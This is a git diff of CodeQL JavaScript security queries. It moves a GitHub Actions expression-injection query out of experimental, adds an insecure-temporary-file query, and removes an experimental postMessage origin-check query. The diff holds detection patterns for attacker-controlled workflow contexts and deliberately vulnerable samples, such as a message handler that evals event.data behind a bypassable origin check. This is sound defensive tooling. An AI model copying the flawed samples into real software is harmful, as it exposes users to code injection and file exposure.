+        <li>GitHub Docs: <a href="https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token">Permissions for the GITHUB_TOKEN</a>.</li>
 	</references>
-
 </qhelp>
diff --git a/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql b/javascript/ql/src/Security/CWE-094/ExpressionInjection.ql
similarity index 64%
rename from javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql
rename to javascript/ql/src/Security/CWE-094/ExpressionInjection.ql
index 29a34897880..03c129711ad 100644
--- a/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql
+++ b/javascript/ql/src/Security/CWE-094/ExpressionInjection.ql
@@ -3,16 +3,17 @@
  * @description Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious
  *              user to inject code into the GitHub action.
  * @kind problem
- * @problem.severity error
+ * @problem.severity warning
+ * @security-severity 9.3
  * @precision high
- * @id js/actions/injection
+ * @id js/actions/command-injection
  * @tags actions
  *       security
  *       external/cwe/cwe-094
  */
 
 import javascript
-import experimental.semmle.javascript.Actions
+import semmle.javascript.Actions
 
 bindingset[context]
 private predicate isExternalUserControlledIssue(string context) {
@@ -22,14 +23,18 @@ private predicate isExternalUserControlledIssue(string context) {
 
 bindingset[context]
 private predicate isExternalUserControlledPullRequest(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b")
+  exists(string reg |
+    reg =
+      [
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b",
+      ]
+  |
+    context.regexpMatch(reg)
+  )
 }
 
 bindingset[context]
@@ -51,18 +56,20 @@ private predicate isExternalUserControlledGollum(string context) {
 
 bindingset[context]
 private predicate isExternalUserControlledCommit(string context) {
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
-  context
-      .regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b")
+  exists(string reg |
+    reg =
+      [
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b",
+        "\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b",
+        "\\bgithub\\s*\\.\\s*head_ref\\b"
+      ]
+  |
+    context.regexpMatch(reg)
+  )
 }
 
 bindingset[context]
@@ -73,7 +80,7 @@ private predicate isExternalUserControlledDiscussion(string context) {
 
 from Actions::Run run, string context, Actions::On on
 where
-  run.getAReferencedExpression() = context and
+  run.getASimpleReferenceExpression() = context and
   run.getStep().getJob().getWorkflow().getOn() = on and
   (
     exists(on.getNode("issues")) and
diff --git a/javascript/ql/src/Security/CWE-094/UnsafeCodeConstruction.ql b/javascript/ql/src/Security/CWE-094/UnsafeCodeConstruction.ql
index edae41e18ce..ff9b4fc4dd0 100644
--- a/javascript/ql/src/Security/CWE-094/UnsafeCodeConstruction.ql
+++ b/javascript/ql/src/Security/CWE-094/UnsafeCodeConstruction.ql
@@ -1,5 +1,5 @@
 /**
- * @name Unsafe code constructed from libary input
+ * @name Unsafe code constructed from library input
  * @description Using externally controlled strings to construct code may allow a malicious
  *              user to execute arbitrary code.
  * @kind path-problem
diff --git a/javascript/ql/src/experimental/Security/CWE-094/examples/comment_issue_bad.yml b/javascript/ql/src/Security/CWE-094/examples/comment_issue_bad.yml
similarity index 100%
rename from javascript/ql/src/experimental/Security/CWE-094/examples/comment_issue_bad.yml
rename to javascript/ql/src/Security/CWE-094/examples/comment_issue_bad.yml
diff --git a/javascript/ql/src/experimental/Security/CWE-094/examples/comment_issue_good.yml b/javascript/ql/src/Security/CWE-094/examples/comment_issue_good.yml
similarity index 100%
rename from javascript/ql/src/experimental/Security/CWE-094/examples/comment_issue_good.yml
rename to javascript/ql/src/Security/CWE-094/examples/comment_issue_good.yml
diff --git a/javascript/ql/src/Security/CWE-377/InsecureTemporaryFile.qhelp b/javascript/ql/src/Security/CWE-377/InsecureTemporaryFile.qhelp
new file mode 100644
index 00000000000..13bc9514b99
--- /dev/null
+++ b/javascript/ql/src/Security/CWE-377/InsecureTemporaryFile.qhelp
@@ -0,0 +1,43 @@
+<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
+<qhelp>
+
+<overview>
+<p>
+Temporary files created in the operating system's temporary directory are by default accessible 
+to other users. In some cases, this can lead to information exposure, or in the worst 
+case, to remote code execution.
+</p>
+</overview>
+
+<recommendation>
+<p>
+Use a well-tested library like <a href="https://www.npmjs.com/package/tmp">tmp</a> 
+for creating temporary files. These libraries ensure both that the file is inaccessible
+to other users and that the file does not already exist.
+</p>
+</recommendation>
+
+<example>
+<p>
+The following example creates a temporary file in the operating system's temporary directory.
+</p>
+<sample src="examples/insecure-temporary-file.js" />
+
+<p>
+The file created above is accessible to other users, and there is no guarantee that
+the file does not already exist. 
+</p>
+<p>
+The below example uses the <a href="https://www.npmjs.com/package/tmp">tmp</a> library
+to securely create a temporary file.
+</p>
+<sample src="examples/secure-temporary-file.js" />
+
+</example>
+
+<references>
+<li>Mitre.org: <a href="https://cwe.mitre.org/data/definitions/377.html">CWE-377</a>.</li>
+<li>NPM: <a href="https://www.npmjs.com/package/tmp">tmp</a>.</li>
+</references>
+
+</qhelp>
diff --git a/javascript/ql/src/Security/CWE-377/InsecureTemporaryFile.ql b/javascript/ql/src/Security/CWE-377/InsecureTemporaryFile.ql
new file mode 100644
index 00000000000..8bfce571835
--- /dev/null
+++ b/javascript/ql/src/Security/CWE-377/InsecureTemporaryFile.ql
@@ -0,0 +1,21 @@
+/**
+ * @name Insecure temporary file
+ * @description Creating a temporary file that is accessible by other users TODO:
+ * @kind path-problem
+ * @id js/insecure-temporary-file
+ * @problem.severity warning
+ * @security-severity 7.0
+ * @precision medium
+ * @tags external/cwe/cwe-377
+ *       external/cwe/cwe-378
+ *       security
+ */
+
+import javascript
+import DataFlow::PathGraph
+import semmle.javascript.security.dataflow.InsecureTemporaryFileQuery
+
+from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
+where cfg.hasFlowPath(source, sink)
+select sink.getNode(), source, sink, "Insecure creation of file in $@.", source.getNode(),
+  "the os temp dir"
diff --git a/javascript/ql/src/Security/CWE-377/examples/insecure-temporary-file.js b/javascript/ql/src/Security/CWE-377/examples/insecure-temporary-file.js
new file mode 100644
index 00000000000..af94b4b3972
--- /dev/null
+++ b/javascript/ql/src/Security/CWE-377/examples/insecure-temporary-file.js
@@ -0,0 +1,6 @@
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+
+const file = path.join(os.tmpdir(), "test-" + (new Date()).getTime() + ".txt");
+fs.writeFileSync(file, "content");
\ No newline at end of file
diff --git a/javascript/ql/src/Security/CWE-377/examples/secure-temporary-file.js b/javascript/ql/src/Security/CWE-377/examples/secure-temporary-file.js
new file mode 100644
index 00000000000..229f7ec81d1
--- /dev/null
+++ b/javascript/ql/src/Security/CWE-377/examples/secure-temporary-file.js
@@ -0,0 +1,5 @@
+const fs = require('fs');
+const tmp = require('tmp');
+
+const file = tmp.fileSync().name;
+fs.writeFileSync(file, "content");
\ No newline at end of file
diff --git a/javascript/ql/src/Statements/LoopIterationSkippedDueToShifting.ql b/javascript/ql/src/Statements/LoopIterationSkippedDueToShifting.ql
index 719a389fc36..509cce99cf2 100644
--- a/javascript/ql/src/Statements/LoopIterationSkippedDueToShifting.ql
+++ b/javascript/ql/src/Statements/LoopIterationSkippedDueToShifting.ql
@@ -13,7 +13,7 @@ import javascript
 
 /**
  * An operation that inserts or removes elements from an array while shifting all elements
- * occuring after the insertion/removal point.
+ * occurring after the insertion/removal point.
  *
  * Does not include `push` and `pop` since these never shift any elements.
  */
diff --git a/javascript/ql/src/change-notes/2022-01-18-insecure-temporary-file.md b/javascript/ql/src/change-notes/2022-01-18-insecure-temporary-file.md
new file mode 100644
index 00000000000..e8713e94b76
--- /dev/null
+++ b/javascript/ql/src/change-notes/2022-01-18-insecure-temporary-file.md
@@ -0,0 +1,4 @@
+---
+category: newQuery
+---
+* A new query `js/insecure-temporary-file` has been added. The query detects the creation of temporary files that may be accessible by others users. The query is not run by default. 
diff --git a/javascript/ql/src/change-notes/2022-05-03-actions-injection.md b/javascript/ql/src/change-notes/2022-05-03-actions-injection.md
new file mode 100644
index 00000000000..57eda2fc21b
--- /dev/null
+++ b/javascript/ql/src/change-notes/2022-05-03-actions-injection.md
@@ -0,0 +1,6 @@
+---
+category: newQuery
+---
+* The `js/actions/injection` query has been added. It highlights GitHub Actions workflows that may allow an 
+  attacker to execute arbitrary code in the workflow.
+  The query previously existed an experimental query.
diff --git a/javascript/ql/src/change-notes/2022-04-21-static-accessors.md b/javascript/ql/src/change-notes/released/0.1.1.md
similarity index 85%
rename from javascript/ql/src/change-notes/2022-04-21-static-accessors.md
rename to javascript/ql/src/change-notes/released/0.1.1.md
index 9712dcd7010..5697e7d1ce1 100644
--- a/javascript/ql/src/change-notes/2022-04-21-static-accessors.md
+++ b/javascript/ql/src/change-notes/released/0.1.1.md
@@ -1,6 +1,7 @@
----
-category: minorAnalysis
----
+## 0.1.1
+
+### Minor Analysis Improvements
+
 * The call graph now deals more precisely with calls to accessors (getters and setters).
   Previously, calls to static accessors were not resolved, and some method calls were
   incorrectly seen as calls to an accessor. Both issues have been fixed.
diff --git a/javascript/ql/src/change-notes/released/0.1.2.md b/javascript/ql/src/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..345f24ec493
--- /dev/null
+++ b/javascript/ql/src/change-notes/released/0.1.2.md
@@ -0,0 +1,6 @@
+## 0.1.2
+
+### New Queries
+
+* The `js/missing-origin-check` query has been added. It highlights "message" event handlers that do not check the origin of the event.  
+  The query previously existed as the experimental `js/missing-postmessageorigin-verification` query.
diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/javascript/ql/src/codeql-pack.release.yml
+++ b/javascript/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/javascript/ql/src/experimental/Security/CWE-020/PostMessageNoOriginCheck.qhelp b/javascript/ql/src/experimental/Security/CWE-020/PostMessageNoOriginCheck.qhelp
deleted file mode 100644
index b8bcf242b55..00000000000
--- a/javascript/ql/src/experimental/Security/CWE-020/PostMessageNoOriginCheck.qhelp
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE qhelp PUBLIC
-  "-//Semmle//qhelp//EN"
-  "qhelp.dtd">
-<qhelp>
-
-<overview>
-
-<p>If you use cross-origin communication between Window objects and do expect to receive messages from other sites, always verify the sender's identity using the origin and possibly source properties of the recevied `MessageEvent`. </p>
-
-<p>Unexpected behaviours, like `DOM-based XSS` could occur, if the event handler for incoming data does not check the origin of the data received and handles the data in an unsafe way.</p>
-</overview>
-
-<recommendation>
-<p>
-Always verify the sender's identity of incoming messages.
-</p>
-
-</recommendation>
-
-<example>
-<p>In the first example, the `MessageEvent.data` is passed to the `eval` function withouth checking the origin. This means that any window can send arbitrary messages that will be executed in the window receiving the message</p>
-<sample src="examples/postMessageNoOriginCheck.js" />
-
-<p> In the second example, the `MessageEvent.origin` is verified with an unsecure check. For example, using `event.origin.indexOf('www.example.com') > -1` can be bypassed because the string `www.example.com` could appear anywhere in `event.origin` (i.e. `www.example.com.mydomain.com`)</p>
-<sample src="examples/postMessageInsufficientCheck.js" />
-
-<p> In the third example, the `MessageEvent.origin` is properly checked against a trusted origin. </p>
-<sample src="examples/postMessageWithOriginCheck.js" />
-
-</example>
-
-<references>
-
-<li><a href="https://cwe.mitre.org/data/definitions/20.html">CWE-020: Improper Input Validation</a></li>
-<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">Window.postMessage()</a></li>
-<li><a href="https://portswigger.net/web-security/dom-based/web-message-manipulation">Web-message manipulation</a></li>
-<li><a href="https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/">The pitfalls of postMessage</a></li>
-
-</references>
-</qhelp>
diff --git a/javascript/ql/src/experimental/Security/CWE-020/PostMessageNoOriginCheck.ql b/javascript/ql/src/experimental/Security/CWE-020/PostMessageNoOriginCheck.ql
deleted file mode 100644
index 43d46d9133b..00000000000
--- a/javascript/ql/src/experimental/Security/CWE-020/PostMessageNoOriginCheck.ql
+++ /dev/null
@@ -1,62 +0,0 @@
-/**
- * @name Missing `MessageEvent.origin` verification in `postMessage` handlers
- * @description Missing the `MessageEvent.origin` verification in `postMessage` handlers, allows any windows to send arbitrary data to the `MessageEvent` listener.
- * This could lead to unexpected behavior, especially when `MessageEvent.data` is used in an unsafe way.
- * @kind problem
- * @problem.severity warning
- * @precision high
- * @id js/missing-postmessageorigin-verification
- * @tags correctness
- *       security
- *       external/cwe/cwe-020
- */
-
-import javascript
-import semmle.javascript.security.dataflow.DOM
-
-/**
- * A method call for the insecure functions used to verify the `MessageEvent.origin`.
- */
-class InsufficientOriginChecks extends DataFlow::Node {
-  InsufficientOriginChecks() {
-    exists(DataFlow::Node node |
-      this.(StringOps::StartsWith).getSubstring() = node or
-      this.(StringOps::Includes).getSubstring() = node or
-      this.(StringOps::EndsWith).getSubstring() = node
-    )
-  }
-}
-
-/**
- * A function handler for the `MessageEvent`.
- */
-class PostMessageHandler extends DataFlow::FunctionNode {
-  PostMessageHandler() { this.getFunction() instanceof PostMessageEventHandler }
-}
-
-/**
- * The `MessageEvent` parameter received by the handler
- */
-class PostMessageEvent extends DataFlow::SourceNode {
-  PostMessageEvent() { exists(PostMessageHandler handler | this = handler.getParameter(0)) }
-
-  /**
-   * Holds if an access on `MessageEvent.origin` is in an `EqualityTest` and there is no call of an insufficient verification method on `MessageEvent.origin`
-   */
-  predicate hasOriginChecked() {
-    exists(EqualityTest test |
-      this.getAPropertyRead(["origin", "source"]).flowsToExpr(test.getAnOperand())
-    )
-  }
-
-  /**
-   * Holds if there is an insufficient method call (i.e indexOf) used to verify `MessageEvent.origin`
-   */
-  predicate hasOriginInsufficientlyChecked() {
-    this.getAPropertyRead("origin").getAMethodCall*() instanceof InsufficientOriginChecks
-  }
-}
-
-from PostMessageEvent event
-where not event.hasOriginChecked() or event.hasOriginInsufficientlyChecked()
-select event, "Missing or unsafe origin verification."
diff --git a/javascript/ql/src/experimental/Security/CWE-020/examples/postMessageInsufficientCheck.js b/javascript/ql/src/experimental/Security/CWE-020/examples/postMessageInsufficientCheck.js
deleted file mode 100644
index b92887f74e8..00000000000
--- a/javascript/ql/src/experimental/Security/CWE-020/examples/postMessageInsufficientCheck.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function postMessageHandler(event) {
-    let origin = event.origin.toLowerCase();
-
-    let host = window.location.host;
-
-    // BAD
-    if (origin.indexOf(host) === -1)
-        return;
-
-
-    eval(event.data);
-}
-
-window.addEventListener('message', postMessageHandler, false);
\ No newline at end of file
diff --git a/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql b/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql
index 2715f788e5c..0b91c83b502 100644
--- a/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql
+++ b/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql
@@ -13,7 +13,7 @@
  */
 
 import javascript
-import experimental.semmle.javascript.Actions
+import semmle.javascript.Actions
 
 /**
  * An action step that doesn't contain `actor` or `label` check in `if:` or
@@ -78,7 +78,7 @@ class ProbableJob extends Actions::Job {
 /**
  * An action step that doesn't contain `actor` or `label` check in `if:` or
  */
-class ProbablePullRequestTarget extends Actions::On, Actions::MappingOrSequenceOrScalar {
+class ProbablePullRequestTarget extends Actions::On, YAMLMappingLikeNode {
   ProbablePullRequestTarget() {
     exists(YAMLNode prtNode |
       // The `on:` is triggered on `pull_request_target`
@@ -88,7 +88,7 @@ class ProbablePullRequestTarget extends Actions::On, Actions::MappingOrSequenceO
         not exists(prtNode.getAChild())
         or
         // or has the filter, that is something else than just [labeled]
-        exists(Actions::MappingOrSequenceOrScalar prt, Actions::MappingOrSequenceOrScalar types |
+        exists(YAMLMappingLikeNode prt, YAMLMappingLikeNode types |
           types = prt.getNode("types") and
           prtNode = prt and
           (
diff --git a/javascript/ql/src/experimental/semmle/javascript/Actions.qll b/javascript/ql/src/experimental/semmle/javascript/Actions.qll
index 17c2691c947..2938cc14692 100644
--- a/javascript/ql/src/experimental/semmle/javascript/Actions.qll
+++ b/javascript/ql/src/experimental/semmle/javascript/Actions.qll
@@ -1,316 +1,4 @@
-/**
- * Libraries for modeling GitHub Actions workflow files written in YAML.
- * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
- */
-
-import javascript
-
-/**
- * Libraries for modeling GitHub Actions workflow files written in YAML.
- * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
- */
-module Actions {
-  /** A YAML node in a GitHub Actions workflow file. */
-  private class Node extends YAMLNode {
-    Node() {
-      this.getLocation()
-          .getFile()
-          .getRelativePath()
-          .matches(["experimental/Security/CWE-094/.github/workflows/%", ".github/workflows/%"])
-    }
-  }
-
-  /**
-   * Actions are quite flexible in parsing YAML.
-   *
-   * For example:
-   * ```
-   * on: pull_request
-   * ```
-   * and
-   * ```
-   * on: [pull_request]
-   * ```
-   * and
-   * ```
-   * on:
-   *   pull_request:
-   * ```
-   *
-   * are equivalent.
-   */
-  class MappingOrSequenceOrScalar extends YAMLNode {
-    MappingOrSequenceOrScalar() {
-      this instanceof YAMLMapping
-      or
-      this instanceof YAMLSequence
-      or
-      this instanceof YAMLScalar
-    }
-
-    YAMLNode getNode(string name) {
-      exists(YAMLMapping mapping |
-        mapping = this and
-        result = mapping.lookup(name)
-      )
-      or
-      exists(YAMLSequence sequence, YAMLNode node |
-        sequence = this and
-        sequence.getAChildNode() = node and
-        node.eval().toString() = name and
-        result = node
-      )
-      or
-      exists(YAMLScalar scalar |
-        scalar = this and
-        scalar.getValue() = name and
-        result = scalar
-      )
-    }
-
-    int getElementCount() {
-      exists(YAMLMapping mapping |
-        mapping = this and
-        result = mapping.getNumChild() / 2
-      )
-      or
-      exists(YAMLSequence sequence |
-        sequence = this and
-        result = sequence.getNumChild()
-      )
-      or
-      exists(YAMLScalar scalar |
-        scalar = this and
-        result = 1
-      )
-    }
-  }
-
-  /**
-   * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
-   */
-  class Workflow extends Node, YAMLDocument, YAMLMapping {
-    /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */
-    YAMLMapping getJobs() { result = this.lookup("jobs") }
-
-    /** Gets the name of the workflow file. */
-    string getFileName() { result = this.getFile().getBaseName() }
-
-    /** Gets the `on:` in this workflow. */
-    On getOn() { result = this.lookup("on") }
-
-    /** Gets the job within this workflow with the given job ID. */
-    Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId }
-  }
-
-  /**
-   * An Actions On trigger within a workflow.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#on.
-   */
-  class On extends YAMLNode, MappingOrSequenceOrScalar {
-    Workflow workflow;
-
-    On() { workflow.lookup("on") = this }
-
-    Workflow getWorkflow() { result = workflow }
-  }
-
-  /**
-   * An Actions job within a workflow.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs.
-   */
-  class Job extends YAMLNode, YAMLMapping {
-    string jobId;
-    Workflow workflow;
-
-    Job() { this = workflow.getJobs().lookup(jobId) }
-
-    /**
-     * Gets the ID of this job, as a string.
-     * This is the job's key within the `jobs` mapping.
-     */
-    string getId() { result = jobId }
-
-    /**
-     * Gets the ID of this job, as a YAML scalar node.
-     * This is the job's key within the `jobs` mapping.
-     */
-    YAMLString getIdNode() { workflow.getJobs().maps(result, this) }
-
-    /** Gets the human-readable name of this job, if any, as a string. */
-    string getName() { result = this.getNameNode().getValue() }
-
-    /** Gets the human-readable name of this job, if any, as a YAML scalar node. */
-    YAMLString getNameNode() { result = this.lookup("name") }
-
-    /** Gets the step at the given index within this job. */
-    Step getStep(int index) { result.getJob() = this and result.getIndex() = index }
-
-    /** Gets the sequence of `steps` within this job. */
-    YAMLSequence getSteps() { result = this.lookup("steps") }
-
-    /** Gets the workflow this job belongs to. */
-    Workflow getWorkflow() { result = workflow }
-
-    /** Gets the value of the `if` field in this job, if any. */
-    JobIf getIf() { result.getJob() = this }
-  }
-
-  /**
-   * An `if` within a job.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif.
-   */
-  class JobIf extends YAMLNode, YAMLScalar {
-    Job job;
-
-    JobIf() { job.lookup("if") = this }
-
-    /** Gets the step this field belongs to. */
-    Job getJob() { result = job }
-  }
-
-  /**
-   * A step within an Actions job.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps.
-   */
-  class Step extends YAMLNode, YAMLMapping {
-    int index;
-    Job job;
-
-    Step() { this = job.getSteps().getElement(index) }
-
-    /** Gets the 0-based position of this step within the sequence of `steps`. */
-    int getIndex() { result = index }
-
-    /** Gets the job this step belongs to. */
-    Job getJob() { result = job }
-
-    /** Gets the value of the `uses` field in this step, if any. */
-    Uses getUses() { result.getStep() = this }
-
-    /** Gets the value of the `run` field in this step, if any. */
-    Run getRun() { result.getStep() = this }
-
-    /** Gets the value of the `if` field in this step, if any. */
-    StepIf getIf() { result.getStep() = this }
-  }
-
-  /**
-   * An `if` within a step.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif.
-   */
-  class StepIf extends YAMLNode, YAMLScalar {
-    Step step;
-
-    StepIf() { step.lookup("if") = this }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-  }
-
-  /**
-   * A `uses` field within an Actions job step, which references an action as a reusable unit of code.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses.
-   *
-   * For example:
-   * ```
-   * uses: actions/checkout@v2
-   * ```
-   * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`.
-   */
-  class Uses extends YAMLNode, YAMLScalar {
-    Step step;
-    /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */
-    string repositoryOwner;
-    /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */
-    string repositoryName;
-    /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
-    string version;
-
-    Uses() {
-      step.lookup("uses") = this and
-      // Simple regular expression to split up an Action reference `owner/repo@version` into its components.
-      exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" |
-        repositoryOwner = this.getValue().regexpCapture(regexp, 1) and
-        repositoryName = this.getValue().regexpCapture(regexp, 2) and
-        version = this.getValue().regexpCapture(regexp, 3)
-      )
-    }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-
-    /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */
-    string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName }
-
-    /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
-    string getVersion() { result = version }
-  }
-
-  /**
-   * A `with` field within an Actions job step, which references an action as a reusable unit of code.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith.
-   *
-   * For example:
-   * ```
-   * with:
-   *   arg1: 1
-   *   arg2: abc
-   * ```
-   */
-  class With extends YAMLNode, YAMLMapping {
-    Step step;
-
-    With() { step.lookup("with") = this }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-  }
-
-  /**
-   * A `ref:` field within an Actions `with:` specific to `actions/checkout` action.
-   *
-   * For example:
-   * ```
-   * uses: actions/checkout@v2
-   * with:
-   *   ref: ${{ github.event.pull_request.head.sha }}
-   * ```
-   */
-  class Ref extends YAMLNode, YAMLString {
-    With with;
-
-    Ref() { with.lookup("ref") = this }
-
-    With getWith() { result = with }
-  }
-
-  /**
-   * A `run` field within an Actions job step, which runs command-line programs using an operating system shell.
-   * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun.
-   */
-  class Run extends YAMLNode, YAMLString {
-    Step step;
-
-    Run() { step.lookup("run") = this }
-
-    /** Gets the step that executes this `run` command. */
-    Step getStep() { result = step }
-
-    /**
-     * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command.
-     * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions.
-     */
-    string getAReferencedExpression() {
-      // We use `regexpFind` to obtain *all* matches of `${{...}}`,
-      // not just the last (greedy match) or first (reluctant match).
-      // TODO: This only handles expression strings that refer to contexts.
-      // It does not handle operators within the expression.
-      result =
-        this.getValue()
-            .regexpFind("\\$\\{\\{\\s*[A-Za-z0-9_\\.\\-]+\\s*\\}\\}", _, _)
-            .regexpCapture("\\$\\{\\{\\s*([A-Za-z0-9_\\.\\-]+)\\s*\\}\\}", 1)
-    }
-  }
+/** DEPRECATED: Use `semmle.javascript.Actions` instead. */
+deprecated module Actions {
+  import semmle.javascript.Actions::Actions
 }
diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml
index 1cb17438364..45b11500391 100644
--- a/javascript/ql/src/qlpack.yml
+++ b/javascript/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/javascript-queries
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: 
   - javascript
   - queries
diff --git a/javascript/ql/test/experimental/Security/CWE-094/ExpressionInjection.qlref b/javascript/ql/test/experimental/Security/CWE-094/ExpressionInjection.qlref
deleted file mode 100644
index e3d73f1c726..00000000000
--- a/javascript/ql/test/experimental/Security/CWE-094/ExpressionInjection.qlref
+++ /dev/null
@@ -1 +0,0 @@
-experimental/Security/CWE-094/ExpressionInjection.ql
diff --git a/javascript/ql/test/library-tests/TypeTracking/PredicateStyle.expected b/javascript/ql/test/library-tests/TypeTracking/PredicateStyle.expected
index 5aef5c84540..17ccc170403 100644
--- a/javascript/ql/test/library-tests/TypeTracking/PredicateStyle.expected
+++ b/javascript/ql/test/library-tests/TypeTracking/PredicateStyle.expected
@@ -44,7 +44,6 @@ connection
 | type tracker without call steps | tst.js:120:21:120:24 | conn |
 | type tracker without call steps | tst.js:126:22:126:25 | conn |
 | type tracker without call steps | tst_conflict.js:6:38:6:77 | api.cha ... ction() |
-| type tracker without call steps with property MyApplication.namespace.connection | file://:0:0:0:0 | global access path |
 | type tracker without call steps with property conflict | tst.js:63:3:63:25 | MyAppli ... mespace |
 | type tracker without call steps with property conflict | tst_conflict.js:6:3:6:25 | MyAppli ... mespace |
 | type tracker without call steps with property connection | tst.js:62:3:62:25 | MyAppli ... mespace |
